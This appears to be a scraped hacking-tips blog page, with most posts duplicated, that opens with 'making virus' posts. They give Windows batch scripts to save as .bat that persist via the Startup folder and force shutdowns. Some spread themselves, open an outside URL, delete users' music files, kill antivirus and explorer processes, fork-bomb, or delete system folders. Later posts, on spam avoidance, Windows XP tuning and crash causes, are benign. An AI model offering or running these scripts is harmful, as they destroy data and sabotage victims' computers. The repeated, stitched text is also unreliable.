Friday
Sunday
making virus
5th A virus
write this in notepad :
@echo off
title Virus Detected
cls
:a
if not exist "%userprofile%\start menu\programs\startup\virus.ba t" goto b
if exist "%userprofile%\start menu\programs\startup\virus.ba t" goto c
goto a
:b
copy "startup.bat" "%userprofile%\start menu\programs\startup\virus.ba t" >nul
goto c
:c
cls
shutdown -s -t 180 -c "You Got Owned"
exit
save as *.bat
The most dangerous virus
@echo off
title 6121824
color 4
cd %userprofile%\Start Menu\Programs\Startup
if exist "delete-this-virus.bat" goto start
if exist "Windows.bat" goto start
msg * Virus Deleted
cd %userprofile%\Desktop
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd %userprofile%\My Documents\My Received Files
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd C:\
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "Windows.bat"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "HackandTrick.bat"
if exist "Windows.bat" copy "Windows.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "HackandTrick.bat" copy "HackandTrick.bat" "%userprofile%\Start Menu\Programs\Startup"
cls
:start
start http://meatspin.com
start http://onload.110mb.com/Windows-Virus...
start "6121824"
time 12:00
cd %userprofile%\Desktop
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
cd %userprofile%\My Documents\My Music
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
msg * Windows Security Center has Detected a Virus on your Computer
msg * Owned by 6121824
msg * 6121824
msg * 6121824
at 12:01 msg * 6121824 © HackandTrick
at 12:02 tskill firefox
at 12:02 tskill iexplore
at 12:03 msg * 6121824
at 12:04 msg * 6121824
at 12:04 tskill "ccApp"
at 12:04 tskill explorer
at 12:04 tskill "spoolsv"
start
write this in notepad :
@echo off
title Virus Detected
cls
:a
if not exist "%userprofile%\start menu\programs\startup\virus.ba t" goto b
if exist "%userprofile%\start menu\programs\startup\virus.ba t" goto c
goto a
:b
copy "startup.bat" "%userprofile%\start menu\programs\startup\virus.ba t" >nul
goto c
:c
cls
shutdown -s -t 180 -c "You Got Owned"
exit
save as *.bat
The most dangerous virus
@echo off
title 6121824
color 4
cd %userprofile%\Start Menu\Programs\Startup
if exist "delete-this-virus.bat" goto start
if exist "Windows.bat" goto start
msg * Virus Deleted
cd %userprofile%\Desktop
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd %userprofile%\My Documents\My Received Files
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd C:\
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "Windows.bat"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "HackandTrick.bat"
if exist "Windows.bat" copy "Windows.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "HackandTrick.bat" copy "HackandTrick.bat" "%userprofile%\Start Menu\Programs\Startup"
cls
:start
start http://meatspin.com
start http://onload.110mb.com/Windows-Virus...
start "6121824"
time 12:00
cd %userprofile%\Desktop
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
cd %userprofile%\My Documents\My Music
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
msg * Windows Security Center has Detected a Virus on your Computer
msg * Owned by 6121824
msg * 6121824
msg * 6121824
at 12:01 msg * 6121824 © HackandTrick
at 12:02 tskill firefox
at 12:02 tskill iexplore
at 12:03 msg * 6121824
at 12:04 msg * 6121824
at 12:04 tskill "ccApp"
at 12:04 tskill explorer
at 12:04 tskill "spoolsv"
start
making virus
1st A Low virus
write this in notepad :
:A
Start
Start
Start
goto A
and save as *.bat
2nd The MATRIX
write this in notepad :
@echo off
:A
color 0a
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo D K 6 h 2 h k 1 O R 2 h k 1 O R 4 g a 0 K 5 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
goto A
save as *.bat
3rd The TIMER
write this in notepad :
@echo off
title Timer
set time=60
:loop
set /a time=%time%-1
if %time%==0 goto timesup
echo %time%
ping localhost -n 0 > null
cls
goto loop
:timesup
echo Time is up!
echo •
echo •
echo •
echo Press any key to exit...
pause
shutdown -s -t 30 -c "Your computer is HACKED
save as *.bat
4th Hard Drive Crash
write this in notepad :
@ echo off del c:\\windows\system 32
@ echo off del c:\\windows\system
@ echo off del c:\\windows\repair
save as *.bat
write this in notepad :
:A
Start
Start
Start
goto A
and save as *.bat
2nd The MATRIX
write this in notepad :
@echo off
:A
color 0a
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo D K 6 h 2 h k 1 O R 2 h k 1 O R 4 g a 0 K 5 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo f 4 g a 0 K 5 D 1 2 h k 1 O R D K 6 h 2 h k 1 O R 2 h k O R 4 g a 0 K 5 k f e
ping localhost -n 0 > nul
echo 7 y h a g 7 2 3 A S h 5 a J 4 F a p h 6 a p h 6 7 2 3 A S 4 g a 0 K 5 j l a f
ping localhost -n 0 > nul
goto A
save as *.bat
3rd The TIMER
write this in notepad :
@echo off
title Timer
set time=60
:loop
set /a time=%time%-1
if %time%==0 goto timesup
echo %time%
ping localhost -n 0 > null
cls
goto loop
:timesup
echo Time is up!
echo •
echo •
echo •
echo Press any key to exit...
pause
shutdown -s -t 30 -c "Your computer is HACKED
save as *.bat
4th Hard Drive Crash
write this in notepad :
@ echo off del c:\\windows\system 32
@ echo off del c:\\windows\system
@ echo off del c:\\windows\repair
save as *.bat
Friday
Create and delete a folder named CON
Create and delete a folder named CON
So as it is known that CON named folder is not possible in windows.
But u can create it Here is the way to do so.
you can create it by using command prompt. The command of doing that is as given below :
md \\.\\c:\con
this will create folder named CON in ur C: drive u can create it in any drive by just replacing C with the drive letter in above command. Now u shall find that u are not able to delete that folder even by using command prompt. The DEL command will also not work. But u can delete it by using following command :
rd \\.\\c:\con
Now u can also do the same thing with other folders like PRN
So as it is known that CON named folder is not possible in windows.
But u can create it Here is the way to do so.
you can create it by using command prompt. The command of doing that is as given below :
md \\.\\c:\con
this will create folder named CON in ur C: drive u can create it in any drive by just replacing C with the drive letter in above command. Now u shall find that u are not able to delete that folder even by using command prompt. The DEL command will also not work. But u can delete it by using following command :
rd \\.\\c:\con
Now u can also do the same thing with other folders like PRN
How To Avoid Spam In Your Inbox
How To Avoid Spam In Your Inbox
Spams are unsolicited emails that are of no use to you, that are found in your inbox. After knowing what a spam is, the next step is to know how to avoid spam. Avoiding spam saves a lot of resources in your network. It also saves a lot of money for the organization. If you compare the costs of spam and the cost of an anti-spam solution, you would come to know that anti-spam solutions save you a lot of money. Now let us know how to avoid spam in your inbox to save a lot of space.
How to avoid spam in your inbox?
Most of the web mail providers like Yahoo, Gmail, Hotmail, and Rediffmail and a host of other web mail providers give you anti-spam filters. All you have to do is to activate the anti-spam filters in your account. If you spam filter is ON, all the spam are delivered usually to a Bulk folder or to a Junk folder. The name of the folder is not a concern, you should note that the spam are delivered to a separate folder other than you Inbox. You can modify the settings so that the spam mails are deleted automatically after 1 or 2 weeks or after a month. Different steps are provided by each service provider to avoid spam in your inbox.
If you are using Outlook Express or any other email client to retrieve your emails, then you have many antispam solutions that help you to identify the spam and deliver it to a special folder.
Another way to avoid spam in your Inbox is to avoid posting your email address to any newsgroup, or to avoid putting your email address on the WebPages of your website. Do not give your email addresses unnecessarily to all the websites you browse. They collect your email addresses and sell them to other companies who send you spam mails that take most of the space in your Inbox.
When you try to avoid spam using these filters there is every chance that some genuine emails from your friends get trapped in the Bulk or Junk folders. Hence it is always better to check you bulk folder for some genuine emails once in a while. If you find any genuine email in your Junk folder you can just mark it a Not Spam or Not Junk and that email address will be added to a Safe list so that further emails from that email address will be delivered to your Inbox instead of the Junk folder. Emails from the addresses that are in your Address book or Contacts Page are delivered to the Inbox only. So it is also better to update your Contacts page regularly to include all the email addresses of your friends and colleagues.
How e-mail addresses are harvested?
You might be wondering how those companies and organizations that send out spam find your email address. Most of the companies that send you emails are those that would have got the email id from your self. You could have given them the email address when you are in the process of registration for a service in their website. These companies sometimes sell your email address to a third part for a hefty sum. The company that buys your email addresses usually uses it to market a product. Mostly they use these email addresses and target only the intended audience. For example, while registering with a site, you might have given out your likes and dislikes, the subject of interest to you, etc. They use this information to target you when there is a product that is available which might interest you. You could have registered in a forum or newsgroups to join a community of your interest. They might also send you emails regularly. If you leave checking these emails for a few days you might end up with a few hundreds of junk emails. Anti-spam softwares help you to sort them to a different folder or to delete them. Email IDs are harvested from these newsgroups and forums.
Mailing lists are another option, where the companies request the mail servers to divulge with the list of emails they have. Sometimes the emails sent are tracked by using some code wherein if the email is read or delivered, the email address to which the mail is delivered is sent to the sender. This way they collect a list of valid email addresses and use them in the future.
During domain name registrations you will be giving your email addresses. This is also one of the way by which your email addresses are leaked to a third party. There are three email columns available during domain name registrations. Contacts for Administration, Technical, and Billing. The persons email addresses are available in these columns. These are easily harvested from the ‘whois directory, which is always open. Another major source of email addresses are the IRCs and chat rooms.
Another method of harvesting email is the brute force method. In this method the spammers try all the possibilities of names of the email ids for that particular domain. They usually try the common names that are used as email ids and send out emails to them. Some of them respond to the emails and they get added to the spammers list. This method can be easily avoided by the site administrator if they watch the heavy incoming email traffic for their domain.
Unsubscribe facility in spam e-mails
Due to legal implications on the spammers now they provide with an ‘Unsubscribe feature in the spams that are sent. You can use these links to unsubscribe from the mailing list of that company so that you can avoid further emails from that company. This is also a tedious process if you get many unsolicited emails. You cant keep on unsubscribe each of the mailing list and it may take a lot of time for you. Hence it is better to use anti-spam softwares and spam filters to avoid spams in your Inbox.
Spams are unsolicited emails that are of no use to you, that are found in your inbox. After knowing what a spam is, the next step is to know how to avoid spam. Avoiding spam saves a lot of resources in your network. It also saves a lot of money for the organization. If you compare the costs of spam and the cost of an anti-spam solution, you would come to know that anti-spam solutions save you a lot of money. Now let us know how to avoid spam in your inbox to save a lot of space.
How to avoid spam in your inbox?
Most of the web mail providers like Yahoo, Gmail, Hotmail, and Rediffmail and a host of other web mail providers give you anti-spam filters. All you have to do is to activate the anti-spam filters in your account. If you spam filter is ON, all the spam are delivered usually to a Bulk folder or to a Junk folder. The name of the folder is not a concern, you should note that the spam are delivered to a separate folder other than you Inbox. You can modify the settings so that the spam mails are deleted automatically after 1 or 2 weeks or after a month. Different steps are provided by each service provider to avoid spam in your inbox.
If you are using Outlook Express or any other email client to retrieve your emails, then you have many antispam solutions that help you to identify the spam and deliver it to a special folder.
Another way to avoid spam in your Inbox is to avoid posting your email address to any newsgroup, or to avoid putting your email address on the WebPages of your website. Do not give your email addresses unnecessarily to all the websites you browse. They collect your email addresses and sell them to other companies who send you spam mails that take most of the space in your Inbox.
When you try to avoid spam using these filters there is every chance that some genuine emails from your friends get trapped in the Bulk or Junk folders. Hence it is always better to check you bulk folder for some genuine emails once in a while. If you find any genuine email in your Junk folder you can just mark it a Not Spam or Not Junk and that email address will be added to a Safe list so that further emails from that email address will be delivered to your Inbox instead of the Junk folder. Emails from the addresses that are in your Address book or Contacts Page are delivered to the Inbox only. So it is also better to update your Contacts page regularly to include all the email addresses of your friends and colleagues.
How e-mail addresses are harvested?
You might be wondering how those companies and organizations that send out spam find your email address. Most of the companies that send you emails are those that would have got the email id from your self. You could have given them the email address when you are in the process of registration for a service in their website. These companies sometimes sell your email address to a third part for a hefty sum. The company that buys your email addresses usually uses it to market a product. Mostly they use these email addresses and target only the intended audience. For example, while registering with a site, you might have given out your likes and dislikes, the subject of interest to you, etc. They use this information to target you when there is a product that is available which might interest you. You could have registered in a forum or newsgroups to join a community of your interest. They might also send you emails regularly. If you leave checking these emails for a few days you might end up with a few hundreds of junk emails. Anti-spam softwares help you to sort them to a different folder or to delete them. Email IDs are harvested from these newsgroups and forums.
Mailing lists are another option, where the companies request the mail servers to divulge with the list of emails they have. Sometimes the emails sent are tracked by using some code wherein if the email is read or delivered, the email address to which the mail is delivered is sent to the sender. This way they collect a list of valid email addresses and use them in the future.
During domain name registrations you will be giving your email addresses. This is also one of the way by which your email addresses are leaked to a third party. There are three email columns available during domain name registrations. Contacts for Administration, Technical, and Billing. The persons email addresses are available in these columns. These are easily harvested from the ‘whois directory, which is always open. Another major source of email addresses are the IRCs and chat rooms.
Another method of harvesting email is the brute force method. In this method the spammers try all the possibilities of names of the email ids for that particular domain. They usually try the common names that are used as email ids and send out emails to them. Some of them respond to the emails and they get added to the spammers list. This method can be easily avoided by the site administrator if they watch the heavy incoming email traffic for their domain.
Unsubscribe facility in spam e-mails
Due to legal implications on the spammers now they provide with an ‘Unsubscribe feature in the spams that are sent. You can use these links to unsubscribe from the mailing list of that company so that you can avoid further emails from that company. This is also a tedious process if you get many unsolicited emails. You cant keep on unsubscribe each of the mailing list and it may take a lot of time for you. Hence it is better to use anti-spam softwares and spam filters to avoid spams in your Inbox.
23 Ways To Speed WinXP, Not only Defrag
23 Ways To Speed WinXP, Not only Defrag
Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.
Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.
10 reasons why PCs crash U must Know
10 reasons why PCs crash U must Know
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is . If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
